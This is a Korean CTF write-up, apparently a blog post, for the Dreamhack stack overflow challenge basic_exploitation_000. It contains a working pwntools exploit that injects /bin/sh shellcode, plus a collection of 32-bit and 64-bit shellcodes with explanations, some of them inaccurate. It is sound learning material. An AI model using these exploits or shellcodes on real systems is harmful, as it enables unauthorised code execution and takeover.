๐๏ธ Access
์ด ๋ฌธ์ ๋ ์๋ฒ์์ ์๋ํ๊ณ ์๋ ์๋น์ค(basic_exploitation_000)์ ๋ฐ์ด๋๋ฆฌ์ ์์ค ์ฝ๋๊ฐ ์ฃผ์ด์ง๋๋ค.
ํ๋ก๊ทธ๋จ์ ์ทจ์ฝ์ ์ ์ฐพ๊ณ ์ต์คํ๋ก์ํด ์ ธ์ ํ๋ํ ํ, “flag” ํ์ผ์ ์ฝ์ผ์ธ์.
“flag” ํ์ผ์ ๋ด์ฉ์ ์๊ฒ์ ์ฌ์ดํธ์ ์ธ์ฆํ๋ฉด ์ ์๋ฅผ ํ๋ํ ์ ์์ต๋๋ค. ํ๋๊ทธ์ ํ์์ DH{…} ์ ๋๋ค.
๐พ Exploit Algorithm & Payload
#basic_exploitaion_000.c
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
#Environment
Ubuntu 16.04
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
#1
: buf์ ์ฃผ์๊ฐ ์ถ๋ ฅ์ด ๋๊ณ ๋ ํ์ ์ฌ์ฉ์์ ๊ฐ์ ์ ๋ ฅ ๋ฐ๋๋ค.
: buf์ ์ฃผ์๊ฐ ๊ณ์ ๋ณํ๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
(ASLR์ด ๊ฑธ๋ ค ์๋ ๊ฒ์ผ๋ก ๋ณด์ - ๋ฉ๋ชจ๋ฆฌ ์์ ์ทจ์ฝ์ ๊ณต๊ฒฉ์ ๋ฐฉ์งํ๊ธฐ ์ํ ๊ธฐ์ ; ๋ผ์ด๋ธ๋ฌ๋ฆฌ, ํ, ์คํ ์์ญ ๋ฑ์ ์ฃผ์๋ฅผ ๋ฐ์ด๋๋ฆฌ๊ฐ ์คํ๋ ๋๋ง๋ค ๋๋คํ๊ฒ ๋ฐ๊ฟ RTL ๋ฑ ์ ํด์ง ์ฃผ์๋ฅผ ์ด์ฉํ ๊ณต๊ฒฉ์ ๋ง๋ ๋ณดํธ๊ธฐ๋ฒ)
: ‘a’ ๋ฌธ์๋ฅผ 132๋ฒ ์๋ํ์ ๊ฒฝ์ฐ core dumped๊ฐ ๋ฐ์ํ๋ค.
#2
: ์คํ์ ๊ธฐ๋ณธ ๋ฉ๋ชจ๋ฆฌ ๊ตฌ์กฐ์์ 32bit์์๋ Buffer + SFP[4byte] + RET[4byte],
64bit์์๋ Buffer + SFP[8byte] + RET[8byte]์ด๋ค.
: buf[0x80] (128byte)๋งํผ ์ฃผ์๊ฐ ํ ๋น๋๋ค.
: scanf("%141s", buf) (141byte)๋งํผ ๋ฌธ์์ด์ ์ ๋ ฅ ๋ฐ์ buf์ ์ ์ฅํ๋ค.
: ํ์ฌ ์ ๋ ฅ ๊ฐ์ด ์ ์ฅํ ์ ์๋ ๊ณต๊ฐ๋ณด๋ค ๋ ์ ๋ ฅ์ด ๊ฐ๋ฅํ๊ธฐ ๋๋ฌธ์ BOF(Buffer OverFlow)์ทจ์ฝ์ ์ด ๋ฐ์ํ ๊ฒ์ผ๋ก ๋ณด์ธ๋ค.
: ์ฌ๊ธฐ์๋ 32-(little endian) ํ๊ฒฝ์์ผ๋ก 132byte(Buffer(128)+SFP(4))ํ์ RET ํจ์ ์ฃผ์๊ฐ ๋ํ๋๋ ๊ฒ์ด๋ค.
: ๋ฐ๋ผ์ RET๊น์ง ์ฃผ์ ์ ๊ทผ ํ ํจ์ ์ฃผ์๋ ์ ์ฝ๋๋ฅผ ๋ฎ์ด์ฐ๋ฉด ๊ทธ ํจ์๋ ์ฝ๋๊ฐ ์คํ๋ ๊ฒ์ด๋ผ๋ ๊ฒ์ ์ ์ ์๋ค.
(132๋ฐ์ดํธ์ ์ ์ฝ๋์ ์๋ฌด ๋ฌธ์๋ค๋ก ์ฑ์ด ํ return ๊ฐ์ ์นจ๋ฒํ์ฌ buf ์ฃผ์ ๊ฐ์ ๋ฃ์ผ๋ฉด buf๋ก ๋์๊ฐ ์ ์ฝ๋๋ฅผ ์คํ์์ผ ๊ถํ ํ์ทจ๊ฐ ๊ฐ๋ฅํ ๋๋)
#3
$ gdb basic_exploitation_000
pwndbg> info func #gdb ํจ์ ์ฃผ์
pwndbg> disass main
pwndbg> b *main+45
pwndbg> r
: ์ด๋ค ํจ์๋ค์ด ์๋์ง ํ์ธํ ํ์ main ํจ์๋ฅผ ๋์ค์ด์ ๋ธ๋ฌ๋ก ํ์ธํ์ฌ scanf ํจ์ ํธ์ถ ๋ถ๋ถ์ break ๊ฑธ์ด์ ๋ถ์ํ์๋ค. (scanf ๋์์ ํ์ธํ๊ณ ์ถ์ผ๋ฉด +42, scanf๋ฅผ ๋ด๋ถ๋ฅผ ๋ถ์ํ๊ณ ์ถ์ผ๋ฉด b *main+37 ํ์ si๋ก ์์ธํ)
: buf(0xffffd0f8)์ ์์นํ๋ ๊ฒ์ ๋ ์ง์คํฐ๋ฅผ ํตํด์๋ ์ ์ ์๋ค.
: ‘a’ ๋ฌธ์ ์ ๋ ฅ์ด 0xffffd0f8๋ถํฐ ์ ๋ ฅ๋๋ฉฐ ๋ฆฌํ ์๋์ธ ํ์์ผ๋ก ์์ฌ์๋ ๋ชจ์ต์ ํ์ธํ ์ ์๋ค.
: ์ด๋ ๊ฒ gdb ๋๋ฒ๊น ์ ์ด์ฉํ์ฌ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ๋ถ์ํ ์๋ ์๋ค.
๐Analysis and results for obtaining the Flag DH{…}
#vi exploit.py
from pwn import * r = remote("host3.dreamhack.games", 11641)
r.recvuntil('buf = (')
buf = int(r.recv(10), 16)
#26byte shellcode(scanf bypass)
shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
shellcode += b"\x61"*(132-26)
shellcode += p32(buf)
r.sendline(shellcode)
r.interactive()
: python pwn๋๊ตฌ๋ฅผ ์ด์ฉํ์ฌ shellcode๋ฅผ ์์ฑํ ํ ํ๋๊ทธ๋ฅผ ํ๋ํ ์ ์๋ค.
๐ก๋ค์ํ Shell Code (x32, x64)
| 32bit Shell Code |
#6bytes Shell Code
\x31\xc0\xb0\x01\xcd\x80
\x31\xc0: XOR EAX, EAX - EAX ๋ ์ง์คํฐ์ ๊ฐ์ 0์ผ๋ก ์ค์ ํ์ฌ ํจ๊ณผ์ ์ผ๋ก ์ง์๋๋ค.
\xb0\x01: MOV AL, 0x01 - ์ด๋ 0x01 ๊ฐ์ ์ข ๋ฃ syscall์ ๋ํ ์์คํ ํธ์ถ ๋ฒํธ๋ฅผ ๋ํ๋ด๋ AL(EAX์ ํ์ ๋ฐ์ดํธ) ๋ ์ง์คํฐ๋ก ์ด๋ํฉ๋๋ค.
\xcd\x80: INT 0x80 - ์์คํ ํธ์ถ์ ํธ์ถํ๊ธฐ ์ํด ์ํํธ์จ์ด ์ธํฐ๋ฝํธ(syscall)๋ฅผ ํธ๋ฆฌ๊ฑฐํฉ๋๋ค.
:์ด ๊ฒฝ์ฐ ํ๋ก์ธ์ค๋ฅผ ์ข ๋ฃํ๋ ์ข ๋ฃ syscall์ ํธ๋ฆฌ๊ฑฐํฉ๋๋ค. ์ ๋ฐ์ ์ผ๋ก ์ด ์์ฝ๋๋ ํ๋ก๊ทธ๋จ์ ์ข ๋ฃํ๋ ๋ฐ ์ฌ์ฉ๋๋ฉฐ ๋ณธ์ง์ ์ผ๋ก ์คํ์ ์ข ๋ฃํฉ๋๋ค.
#25 Bytes Shell Code \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
\x31\xc0: XOR EAX, EAX - EAX ๋ ์ง์คํฐ๋ฅผ ์ง์๋๋ค(0์ผ๋ก ์ค์ ). \x50: PUSH EAX - EAX ๊ฐ์ ์คํ์ ํธ์ํฉ๋๋ค.
\x68\x2f\x2f\x73\x68: PUSH 0x68732f2f - "/sh"์ ASCII ๊ฐ์ ์คํ์ ํธ์ํฉ๋๋ค. ์ด๋ ๋ฌธ์์ด "/sh"์ ์ฌ์ฉ๋ฉ๋๋ค. \x68\x2f\x62\x69\x6e: PUSH 0x6e69622f - "/bin"์ ASCII ๊ฐ์ ์คํ์ ํธ์ํฉ๋๋ค. ์ด๋ ๋ฌธ์์ด "/bin"์ ์ฌ์ฉ๋ฉ๋๋ค. \x89\xe3: MOV EBX, ESP - ESP(์คํ ํฌ์ธํฐ) ๊ฐ์ EBX ๋ ์ง์คํฐ๋ก ์ด๋ํฉ๋๋ค.
\x50: PUSH EAX - EAX ๊ฐ์ ์คํ์ ํธ์ํฉ๋๋ค.
\x53: PUSH EBX - EBX ๊ฐ์ ์คํ์ ํธ์ํฉ๋๋ค.
\x89\xe1: MOV ECX, ESP - ESP(์คํ ํฌ์ธํฐ) ๊ฐ์ ECX ๋ ์ง์คํฐ๋ก ์ด๋ํฉ๋๋ค.
\x31\xd2: XOR EDX, EDX - EDX ๋ ์ง์คํฐ๋ฅผ ์ง์๋๋ค(0์ผ๋ก ์ค์ ).
\xb0\x0b: MOV AL, 0x0b - ๊ฐ 0x0b๋ฅผ AL(EAX์ ํ์ ๋ฐ์ดํธ) ๋ ์ง์คํฐ๋ก ์ด๋ํฉ๋๋ค. ์ด๋ execve syscall์ ๋ํ ์์คํ ํธ์ถ ๋ฒํธ๋ฅผ ๋ํ๋ ๋๋ค.
\xcd\x80: INT 0x80 - ์์คํ ํธ์ถ์ ํธ์ถํ๊ธฐ ์ํด ์ํํธ์จ์ด ์ธํฐ๋ฝํธ(syscall)๋ฅผ ํธ๋ฆฌ๊ฑฐํฉ๋๋ค.
:์ด ๊ฒฝ์ฐ ์ง์ ๋ ๋งค๊ฐ๋ณ์๋ฅผ ์ฌ์ฉํ์ฌ ์ ํ๋ก์ธ์ค๋ฅผ ์คํํ๋ execve syscall์ ํธ๋ฆฌ๊ฑฐํฉ๋๋ค. ์ ๋ฐ์ ์ผ๋ก ์ด ์์ฝ๋๋ execve syscall์ ํธ์ถํ์ฌ ์("/bin/sh")์ ์คํํ๋ ๋ฐ ์ฌ์ฉ๋ฉ๋๋ค. ์ด๋ ๋ฆฌ๋ฒ์ค ์ ธ์ ์์ฑํ๊ฑฐ๋ ์์๋ ์์คํ ์ ์ ์ดํ๋ ๋ฐ ์ฌ์ฉ๋๋ ์ ธ์ฝ๋
#26 Bytes Shell Code(scnaf ์ฐํ ์ ์ฝ๋) \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80
: scanfํจ์๋ \x09, \x0a, \x0b, \x0c, \x0d, \x20์ ์ฝ์ง ๋ชปํ๊ธฐ ๋๋ฌธ์ 25Byte Shell Code์ ๋ค๋ฆ
\x31\xc9: XOR ECX, ECX - ECX ๋ ์ง์คํฐ๋ฅผ ์ง์๋๋ค(0์ผ๋ก ์ค์ ).
\x31\xd2: XOR EDX, EDX - EDX ๋ ์ง์คํฐ๋ฅผ ์ง์๋๋ค(0์ผ๋ก ์ค์ ).
\xb0\x08: MOV AL, 0x08 - 0x08 ๊ฐ์ AL(EAX์ ํ์ ๋ฐ์ดํธ) ๋ ์ง์คํฐ๋ก ์ด๋ํฉ๋๋ค. ์ด๋ syscall sys_waitpid์ ๋ํ ์์คํ ํธ์ถ ๋ฒํธ๋ฅผ ๋ํ๋ ๋๋ค.
\x40\x40\x40: INC EAX 3๋ฐฐ - EAX ๊ฐ์ 1์ฉ 3๋ฐฐ ์ฆ๊ฐ์ํต๋๋ค. ์ด๋ EAX์ 3์ ๋ํ๋ ๊ฒ๊ณผ ๊ฐ์ต๋๋ค.
\xcd\x80: INT 0x80 - ์์คํ ํธ์ถ์ ํธ์ถํ๊ธฐ ์ํด ์ํํธ์จ์ด ์ธํฐ๋ฝํธ(syscall)๋ฅผ ํธ๋ฆฌ๊ฑฐํฉ๋๋ค.
:์ด ๊ฒฝ์ฐ sys_waitpid syscall์ ํธ๋ฆฌ๊ฑฐํฉ๋๋ค. ์ด ์์ฝ๋์ ์ฃผ์ ์ฐจ์ด์ ์ execve syscall์ ์ค๋นํ๋ ์ด๊ธฐ ๋ช ๋ น ์งํฉ ๋ค์ ํ์ ํ๋ก์ธ์ค๊ฐ ์ข ๋ฃ๋ ๋๊น์ง ๊ธฐ๋ค๋ฆฌ๋ ๋ฐ ์ฌ์ฉ๋๋ sys_waitpid syscall์ ํธ์ถํ๊ธฐ ์ํ ๋ช ๋ น์ด ํฌํจ๋์ด ์๋ค๋ ๊ฒ์ ๋๋ค. ์ด ์ถ๊ฐ ๊ธฐ๋ฅ์ ์์ฝ๋๊ฐ ๊ณ์ ์งํํ๊ธฐ ์ ์ ์์ฑ๋ ํ๋ก์ธ์ค๊ฐ ์คํ์ ์๋ฃํ๋์ง ํ์ธํด์ผ ํ๋ ํน์ ์๋๋ฆฌ์ค์์ ์ ์ฉ
#41 Bytes Shell Code(setreuid(geteuid(), getreuid()) ํฌํจ) \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
#48 Bytes Shell Code(\x2f๊ฐ ์๋ ์์ฝ๋) \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
| 64bit Shell Code |
#23 Bytes Shell Code(๊ธฐ๋ณธ ์์ฝ๋) \x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05
#31 Bytes Shell Code \x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05
[+]
: ์ถ๊ฐ๋ก ์ฃผ์ ์ ๋ณด, ํ์ผ๋ค์ ๊ถํ์ ํ์ฉ๋ ๋ถ๋ถ๊น์ง ์ด๋ํ ์ ์์๋ค.
๐ Summary
BOF๋ ๋ฒํผ๊ฐ ๋์น ์ ์๋ ์ฝ๋๋ฅผ ํนํ ์ฃผ์ํด์ผํ๋ค.
| BOF์ ์ทจ์ฝํ ํจ์ |
: ์ฒ๋ฆฌํ๋ ๋ฌธ์์ด์ ์ต๋ ํฌ๊ธฐ๋ฅผ ์ ํ์ง ์๋ ํจ์
- strcpy
- strcat
- gets
- fscanf
- scanf
- sprintf
- sscanf
- vfscanf
- vsprintf
- vscanf
- vsscanf
- streadd
- strecpy
- strtrns
'[Dreamhack]SystemHacking > ๋ก๋๋งต_Basic' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] Level1: Return to Shellcode (0) | 2023.08.30 |
---|---|
[Dreamhack] Level1: basic_exploitation_001 (0) | 2023.08.28 |
[Dreamhack] Level2: shell_basic (0) | 2023.08.22 |
[Dreamhack] Level1: Return Address Overwrite (0) | 2023.08.18 |